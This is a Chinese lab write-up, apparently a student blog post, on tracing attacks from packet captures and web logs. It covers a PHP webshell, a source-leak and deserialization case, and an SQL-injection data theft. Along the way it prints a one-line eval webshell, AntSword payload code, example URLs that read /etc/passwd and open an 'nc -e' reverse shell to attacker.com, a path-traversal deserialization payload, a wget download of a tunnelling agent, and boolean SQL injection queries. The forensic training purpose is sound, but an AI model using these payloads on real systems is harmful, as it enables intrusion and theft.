【攻防实验】溯源与取证分析实验

溯源与取证分析实验

溯源取证分析作为网络攻防过程中重要环节,准确找到攻击者的入侵线索(尤其是攻击突破口、攻击IP地址、域名、工具等信息),对于企业或者团队安全运营团队来说都是必备技能。常规攻击取证过程中往往会结合流量、Web访问日志、终端系统或者软件日志等信息来挖掘或者推断相关线索。本实验通过网络流量、日志等溯源环境进行真实案例模仿,通过实战化分析来锻炼学生的取证溯源能力,从而加深大家对于网络攻防的实战化水平。在本实验结束时,学生应该能够具备对网络流量和日志的基本分析能力。

实验工具:

  1. Wireshark(版本≥3.0)
  2. VScode或者类似文本编辑器

Webshell数据包(webshell.zip)

背景介绍: webshell又称脚本木马,通过服务器开放的端口获取服务器的某些权限。

小张单位网站被黑客挂马,请您从流量中分析出webshell,进行回答:
A. 黑客在整个过程中做了哪些操作,请简单列举出来并截图说明。
B. 黑客登录系统使用的密码、黑客的socks5的连接账号与密码请列举出来,并配图说明。

分析过程

1.用 wireshark 打开 hack.pcap ,可以看到有 HTTP 和 TCP 两种类型的流量。

在这里插入图片描述

2.在已知为 webshell 攻击后,我们在wireshark中搜索常用的命令,如 whoami, ls, pwd 等,来进行分析。首先在 wireshark 中设置成如下所示的样子。然后进行搜索。

在这里插入图片描述

3.首先搜索 login,查看登录信息。发现登录的账号和密码。

  • 账号:test
  • 密码:Admin123!@#

在这里插入图片描述

4.然后搜索 whoami,我们发现这个它跟参数 aaa 有关。并且此处对日志文件进行了修改。

在这里插入图片描述

5.我们继而对 aaa 进行搜索。发现 aaaifconfigipconfigpwd 等指令都有关,我充分怀疑这个参数 aaa 有问题,跟webshell有关。

在这里插入图片描述

在这里插入图片描述

在这里插入图片描述

在这里插入图片描述

在这里插入图片描述

6.我们仔细观察会发现在查询 aaa 时,有一个很可疑的值(即上面的最后一张图片),这里变量 aaa 中包含了一个命令,作用是通过 system() 函数执行一个 shell 命令,解码 Base64 编码的字符串并将其写入到服务器的 /var/www/html/1.php 文件中。这里有几个疑点:

  1. 为什么会去执行这样一个命令?
  2. 该命令中进行了Base64编码,怀疑是为了绕过审查
  3. 一般情况网站上不会去创建叫做 1.php 的文件
  4. .php 文件为常见的webshell脚本

在这里插入图片描述

7.分析后,我们对这里的 Base64 编码进行解码分析,解码后如下所示。

<?php eval($_REQUEST[aaa^;?>

8.这段代码的作用是,通过 eval() 函数执行传递给 aaa 参数的 PHP 代码。也就是说,黑客可以在 URL 中传递一个恶意的 PHP 代码作为 aaa 参数,服务器就会执行这段代码。比如说,如果黑客知道 Webshell 的存在,他就可以通过下面所示的这些来实现恶意代码注入。而将一个php一句话木马写入了网站根目录下的1.php文件中,可能是为了在服务器持久化存储该木马文件

# 执行系统命令
http://victim.com/shell.php?aaa^=system('cat /etc/passwd');

# 上传恶意文件(如果 PHP 有文件上传功能)
http://victim.com/shell.php?aaa^=move_uploaded_file('evil.php', '/var/www/html/evil.php');

#  获取反向Shell(这会在受害者的服务器上启动一个反向 shell,连接到攻击者的服务器。)
http://victim.com/shell.php?aaa^=exec('nc -e /bin/bash attacker.com 1234');

9.我们继续跟踪变量 aaa。发现一个比较复杂的命令,形式上符合webshell工具——蚁剑的传输流量特征。这是一段PHP代码。

@ini_set("display_errors", "0");@set_time_limit(0);function asenc($out){return $out;};function asoutput(){$output=ob_get_contents();ob_end_clean();echo "bc"."0f2";echo @asenc($output);echo "f797e"."322e0";}ob_start();try{$D=dirname($_SERVER["SCRIPT_FILENAME"]);if($D=="")$D=dirname($_SERVER["PATH_TRANSLATED"]);$R="{$D}	";if(substr($D,0,1)!="/"){foreach(range("C","Z")as $L)if(is_dir("{$L}:"))$R.="{$L}:";}else{$R.="/";}$R.="	";$u=(function_exists("posix_getegid"))?@posix_getpwuid(@posix_geteuid()):"";$s=($u)?$u["name"]:@get_current_user();$R.=php_uname();$R.="	{$s}";echo $R;;}catch(Exception $e){echo "ERROR://".$e->getMessage();};asoutput();die();

在这里插入图片描述

10.该PHP代码段是一个典型的 Webshell,它用于收集并输出受害服务器的关键信息。通过隐藏错误、禁用时间限制、输出混淆等手段,攻击者意图在受害服务器上执行持久化操作。对其分析如下:

@ini_set("display_errors", "0");
@set_time_limit(0);
  • @ini_set("display_errors", "0"):关闭错误显示,避免 PHP 错误信息泄露。
  • @set_time_limit(0):禁用脚本执行时间限制,使脚本可以长时间运行,通常用于持续执行的恶意操作。
function asenc($out) { return $out; };
function asoutput() {
    $output = ob_get_contents();
    ob_end_clean();
    echo "bc" . "0f2";
    echo @asenc($output);
    echo "f797e" . "322e0";
}
  • asenc($out):这是一个空的加密/解密函数,实际上并没有对输出做任何处理,只是返回原样的数据。
  • asoutput():该函数获取输出缓冲区的内容(ob_get_contents()),清空缓冲区(ob_end_clean()),然后输出一些字符串:
    • bc0f2f797e322e0 可能是用来混淆输出的无意义字符串,增加分析难度。
    • 然后通过 @asenc($output) 输出原始缓冲区内容。这表明该代码的目标可能是输出一些信息或返回执行结果。
ob_start();
try {
    $D = dirname($_SERVER["SCRIPT_FILENAME"]);
    if ($D == "") $D = dirname($_SERVER["PATH_TRANSLATED"]);
    $R = "{$D}	";
    if (substr($D, 0, 1) != "/") {
        foreach (range("C", "Z") as $L)
            if (is_dir("{$L}:")) $R .= "{$L}:";
    } else {
        $R .= "/";
    }
    $R .= "	";
    $u = (function_exists("posix_getegid")) ? @posix_getpwuid(@posix_geteuid()) : "";
    $s = ($u) ? $u["name"] : @get_current_user();
    $R .= php_uname();
    $R .= "	{$s}";
    echo $R;
} catch (Exception $e) {
    echo "ERROR://" . $e->getMessage();
}




  • ob_start():启动输出缓冲区,以便后续的输出可以捕获并进行处理(例如用于 asoutput())。
  • $D = dirname($_SERVER["SCRIPT_FILENAME"]):获取当前脚本的目录路径。
  • 如果 $D 为空,则尝试使用 $_SERVER["PATH_TRANSLATED"] 获取路径。
  • 目录信息构建:
    • 如果路径是 Windows 系统路径(不是以/ 开头),代码会尝试列出从 C: 到 Z: 的所有磁盘驱动器,并检查每个驱动器是否是目录。
    • 如果是 Unix 系统,则 $R 的值会是 /
  • 用户信息:
    • 使用 posix_getegid()posix_geteuid() 获取当前用户的组名和用户名信息(如果存在 posix 扩展)。
    • 如果 posix 扩展不可用,则使用 get_current_user() 获取当前 PHP 执行用户。
  • php_uname():返回操作系统信息,如操作系统名称、版本、架构等。
  • 输出信息:
    • 将目录信息、操作系统信息、当前用户名拼接并输出。目的是暴露受害主机的详细环境信息,包括操作系统类型、版本、当前用户等。
} catch (Exception $e) {
    echo "ERROR://" . $e->getMessage();
}
  • 错误捕捉:如果在执行过程中出现异常,会输出错误信息。
asoutput();
die();
  • asoutput():调用该函数输出缓冲区的内容,并将之前收集到的输出进行处理,可能会显示一些数据或执行其他操作。
  • die():脚本执行完毕后终止。

11.通过上面的分析,我们可以断定 1.php 是黑客的恶意程序。我们继续跟踪变量 aaa。找到这个数据包,我们发现相较之前的数据包,其代码段中包含了一个变量 j68071301598f,并且其值很像一个 Base64 编码后的代码。我们对其进行解码(从第三位开始)得到 frpc.ini 文件路径:

/var/www/html/frpc.ini

在这里插入图片描述

Frpc 为一款内网穿透工具 https://ababtools.com/?post=4421

12.对第二个 item 进行十六进行转 ASCII 的解码。结果如下所示。

# item 的内容
item = 5B636F6D6D6F6E5D0A7365727665725F61646472203D203139322E3136382E3233392E3132330A7365727665725F706F7274203D20373737380A746F6B656E3D586133424A66326C35656E6D4E365A3741386D760A0A5B746573745F736F636B355D0A74797065203D207463700A72656D6F74655F706F7274203D383131310A706C7567696E203D20736F636B73350A706C7567696E5F75736572203D2030484446743136634C514A0A706C7567696E5F706173737764203D204A544E32373647700A7573655F656E6372797074696F6E203D20747275650A7573655F636F6D7072657373696F6E203D20747275650A
# 转码的结果
[common]
server_addr = 192.168.239.123
server_port = 7778
token=Xa3BJf2l5enmN6Z7A8mv

[test_sock5]
type = tcp
remote_port =8111
plugin = socks5
plugin_user = 0HDFt16cLQJ
plugin_passwd = JTN276Gp
use_encryption = true
use_compression = true

13.通过解码结果我们可以得到:

  • 服务器IP:192.168.239.123
  • 服务器端口:7778
  • 使用 SOCKS5 插件
  • SOCKS5 代理的用户名:0HDFt16cLQJ
  • SOCKS5 代理的密码:JTN276Gp

至此我们已基本完成对这个流量的分析。

任务完成记录

A. 黑客在整个过程中做了哪些操作,请简单列举出来并截图说明。

登录系统:

在这里插入图片描述

修改日志文件:

在这里插入图片描述

写入webshell:

在这里插入图片描述

蚁剑通过webshell进行连接

在这里插入图片描述

上传代理工具客户端及代理工具回连客户端:

在这里插入图片描述

B. 黑客登录系统使用的密码、黑客的socks5的连接账号与密码请列举出来。

见上面的分析过程

  • 账号:test

  • 密码:Admin123!@#

  • SOCKS5 的连接账号:0HDFt16cLQJ

  • SOCKS5 的密码:JTN276Gp


日志分析(日志分析.zip)

小明发现单位某应用程序被攻击后提取了对应的日志数据,请分析日志并进行作答:
A. 网络存在源码泄漏,源码文件名是什么?(请提交带有文件后缀的文件名,例如x.txt,并对流量分析进行截图)
B. 分析攻击流量,黑客往/tmp目录写入一个文件,文件名是什么?(请对流量分析进行截图)
C.分析攻击流量,黑客使用的是什么漏洞读取了秘密文件?

任务完成记录

A. 网络存在源码泄漏,源码文件名是什么?

在网络日志中,HTTP 状态码 200 通常表示请求成功,并且服务器已成功处理并返回了请求的资源。如果日志中有 HTTP 200 OK 状态码,并且请求涉及到某些源码文件(如 .php, .jsp, .py, .html 等),这可能表明攻击者通过请求源码文件而获得了敏感信息。

所以我们在日志中搜索 200,查看攻击者成功访问了什么文件。

这里访问了 index.php, www.zip, info.php

在这里插入图片描述

在这里插入图片描述

在这里插入图片描述

在这里插入图片描述

需要知道常见的网站备份文件后缀有 .zip.rar.7z等,我们可以看到在成功访问 www.zip 后,接连访问了 www.rar,www.7z,虽然都是状态码为 404 表示访问失败。所以我们合理推测泄露的源码文件应该是 www.zip

在这里插入图片描述

B. 分析攻击流量,黑客往/tmp目录写入一个文件,文件名是什么?

在日志文件中查找 tmp,发现黑客通过filename参数向/tmp目录传递了一个名叫 sess_car 的文件。

在这里插入图片描述

C.分析攻击流量,黑客使用的是什么漏洞读取了秘密文件?

对上面截图中的URL编码进行解码,我们可以看到是利用了 SplFileObject 的漏洞读取了秘密文件。

# 原始 URL编码
filename=..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2Ftmp%2Fsess_car&content=func%7CN%3Bfiles%7Ca%3A2%3A%7Bs%3A8%3A%22filename%22%3Bs%3A16%3A%22.%2Ffiles%2Ffilename%22%3Bs%3A20%3A%22call_user_func_array%22%3Bs%3A28%3A%22.%2Ffiles%2Fcall_user_func_array%22%3B%7Dpaths%7Ca%3A1%3A%7Bs%3A5%3A%22%2Fflag%22%3Bs%3A13%3A%22SplFileObject%22%3B%7D HTTP/1.1" 302 879 "-" "python-requests/2.26.0"

# URL解码后
filename=../../../../../../../../../../../../../../../../../tmp/sess_car&content=func|N;files|a:2:{s:8:"filename";s:16:"./files/filename";s:20:"call_user_func_array";s:28:"./files/call_user_func_array";}paths|a:1:{s:5:"/flag";s:13:"SplFileObject";} HTTP/1.1" 302 879 "-" "python-requests/2.26.0"

SplFileObject带来的漏洞
SplFileObject 是 PHP 中一个用于文件处理的类,它为文件操作提供了更高级的功能,比如逐行读取文件内容、写入文件等。SplFileObject 本身并没有漏洞,但由于它的使用不当或不安全的反序列化,攻击者可能通过它来利用一些漏洞,特别是在 PHP 反序列化漏洞 中,SplFileObject 类通常会被滥用来进行恶意操作。


攻击“苹果”注入(ios.zip)

一位苹果安全研究员在家中使用手机联网被黑,不仅被窃密还丢失比特币若干,请你通过流量和日志分析后作答:
A. 简述黑客的整个攻击过程,关键步骤请配图说明。
B. 黑客所控制的C&C服务器IP是什么?
C.被害者手机上被拿走了的私钥文件内容是什么?

任务完成记录

A. 简述黑客的整个攻击过程,关键步骤请配图说明。

1.首先查看日志文件 access.log。因为木马文件常为 php 文件在日志文件中搜索 .php,我们可以看到有一个文件 ma.php被上传,并且红色框出的编码经base64解码后的结果为 whoami ,并且后面的操作都与这个文件相关。所以此处是一个webshell请求,并且这个文件是一个木马文件。

fxxk=system(base64_decode(%27d2hvYW1p%27))

在这里插入图片描述

2.接下来我们查看流量文件 triffic.pcap 。在使用Wireshark的跟踪流功能跟踪到第15个TCP流时,如下所示我们可以看到一个类似于 Linux 客户端的界面,先后执行了

  • ls
  • wget https://github.com/ph4ntonn/Stowaway/releases/download/1.6.2/ios_agent && chmod 755 ios_agent : 使用wget命令访问网站下载了GitHub的资源并赋予了可执行权限。下载的项目是一个内网穿透工具叫做 Stowaway。

在这里插入图片描述
2.我们进入 Stowaway 的 github 主页,看到他的参数介绍,如下所示。

admin:

参数:
-l 被动模式下的监听地址[ip]:<port>
-s 节点通信加密密钥,所有节点(admin&&agent)必须一致
-c 主动模式下的目标节点地址
--socks5-proxy socks5代理服务器地址
--socks5-proxyu socks5代理服务器用户名(可选)
--socks5-proxyp socks5代理服务器密码(可选)
--http-proxy http代理服务器地址
--down 下游协议类型,默认为裸TCP流量,可选HTTP/WS
--tls-enable 为节点通信启用TLS,在启用TLS后,AES加密将被禁用
--domain 指定TLS SNI/WebSocket域名,若为空,默认为目标节点地址
--heartbeat 开启心跳包

agent:

参数:
-l 被动模式下的监听地址[ip]:<port>
-s 节点通信加密密钥
-c 主动模式下的目标节点地址
--socks5-proxy socks5代理服务器地址
--socks5-proxyu socks5代理服务器用户名(可选)
--socks5-proxyp socks5代理服务器密码(可选)
--http-proxy http代理服务器地址
--reconnect 重连时间间隔
--rehost 端口复用时复用的IP地址
--report 端口复用时复用的端口号
--up 上游协议类型,默认为裸TCP流量,可选HTTP/WS
--down 下游协议类型,默认为裸TCP流量,可选HTTP/WS
--cs 运行平台的shell编码类型,默认为utf-8,可选gbk
--tls-enable 为节点通信启用TLS,在启用TLS后,AES加密将被禁用
--domain 指定TLS SNI/WebSocket域名,若为空,默认为目标节点地址

3.我们参考这个说明,继续分析这个流量文件。我们发现攻击者运行ios_agent命令进行攻击。并且可以得到攻击者主机IP是 3.128.156.159,加密密钥是hack4sec。至此对于该TCP流已分析完毕。

在这里插入图片描述
4.我们继续对流量进行分析,我们想要访问HTTP流量时发现全部经过加密,无法正常阅读,这是因为当浏览器访问https站点时使用SSL/TLS协议,必须拥有服务器私钥,才能得到用于对称加密的密钥,然后真正解开加密的数据。这时我们使用提供的密钥文件 keylog.txt 进行解密。

TCP流解密方法 https://blog.youkuaiyun.com/for_mat_/article/details/118107321

5.解密后我们查看 HTTP 流量,发现其中有明显的关于 SQL 注入的特征字段,所以将该部分字段拿来进行URL解码。发现确实是在进行布尔注入。

# 解码得到

HEADERS[93]: GET /info?l=1&o=(case_when_(select_hex(substr(password,5,1))_from_user)="30"_then_id_else_col1_end), WINDOW_UPDATE[93]

在这里插入图片描述

6.在渗透中通常要扫描端口,由于大多数端口关闭,主机会发出RST,我们只需在wireshark的专家模式中找到RST数据包的最大和最小端口即可确定端口扫描范围。端口扫描范围为 10-499

Wireshark 的专家模式的打开方式

在这里插入图片描述

在这里插入图片描述

至此对于黑客的攻击过程基本分析完毕。

B. 黑客所控制的C&C服务器IP是什么?

由前面的分析过程我们可知,C&C服务器IP : 3.128.156.159

C.被害者手机上被拿走了的私钥文件内容是什么?

将上面的所有SQL注入的每一位的最后一条请求的值连在一起,再使用hex解码就可以得到⼀个uuid值即为私钥文件的内容。

在这里插入图片描述

# 例如下面这个就取 3
43052    2021-08-28 14:10:57.001000    192.168.1.8    192.168.1.12    HTTP2    246    HEADERS[3]: GET /info?l=1&o=%28case_when_%28select_hex%28substr%28password%2C1%2C1%29%29_from_user%29%3D%222D%22_then_id_else_col1_end%29, WINDOW_UPDATE[3]

# 全部拼在一起后
37343635386633206338343120343536642038356437206436633066656461626232

# 通过HEX解码得到
746558f3-c841-456b-85d7-d6c0f2edabb2

拿到的私钥文件内容为:746558f3-c841-456b-85d7-d6c0f2edabb2


参考资料

[1] https://www.cnblogs.com/leo1017/p/17949472
[2] https://blog.youkuaiyun.com/qq_64389397/article/details/135440190

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值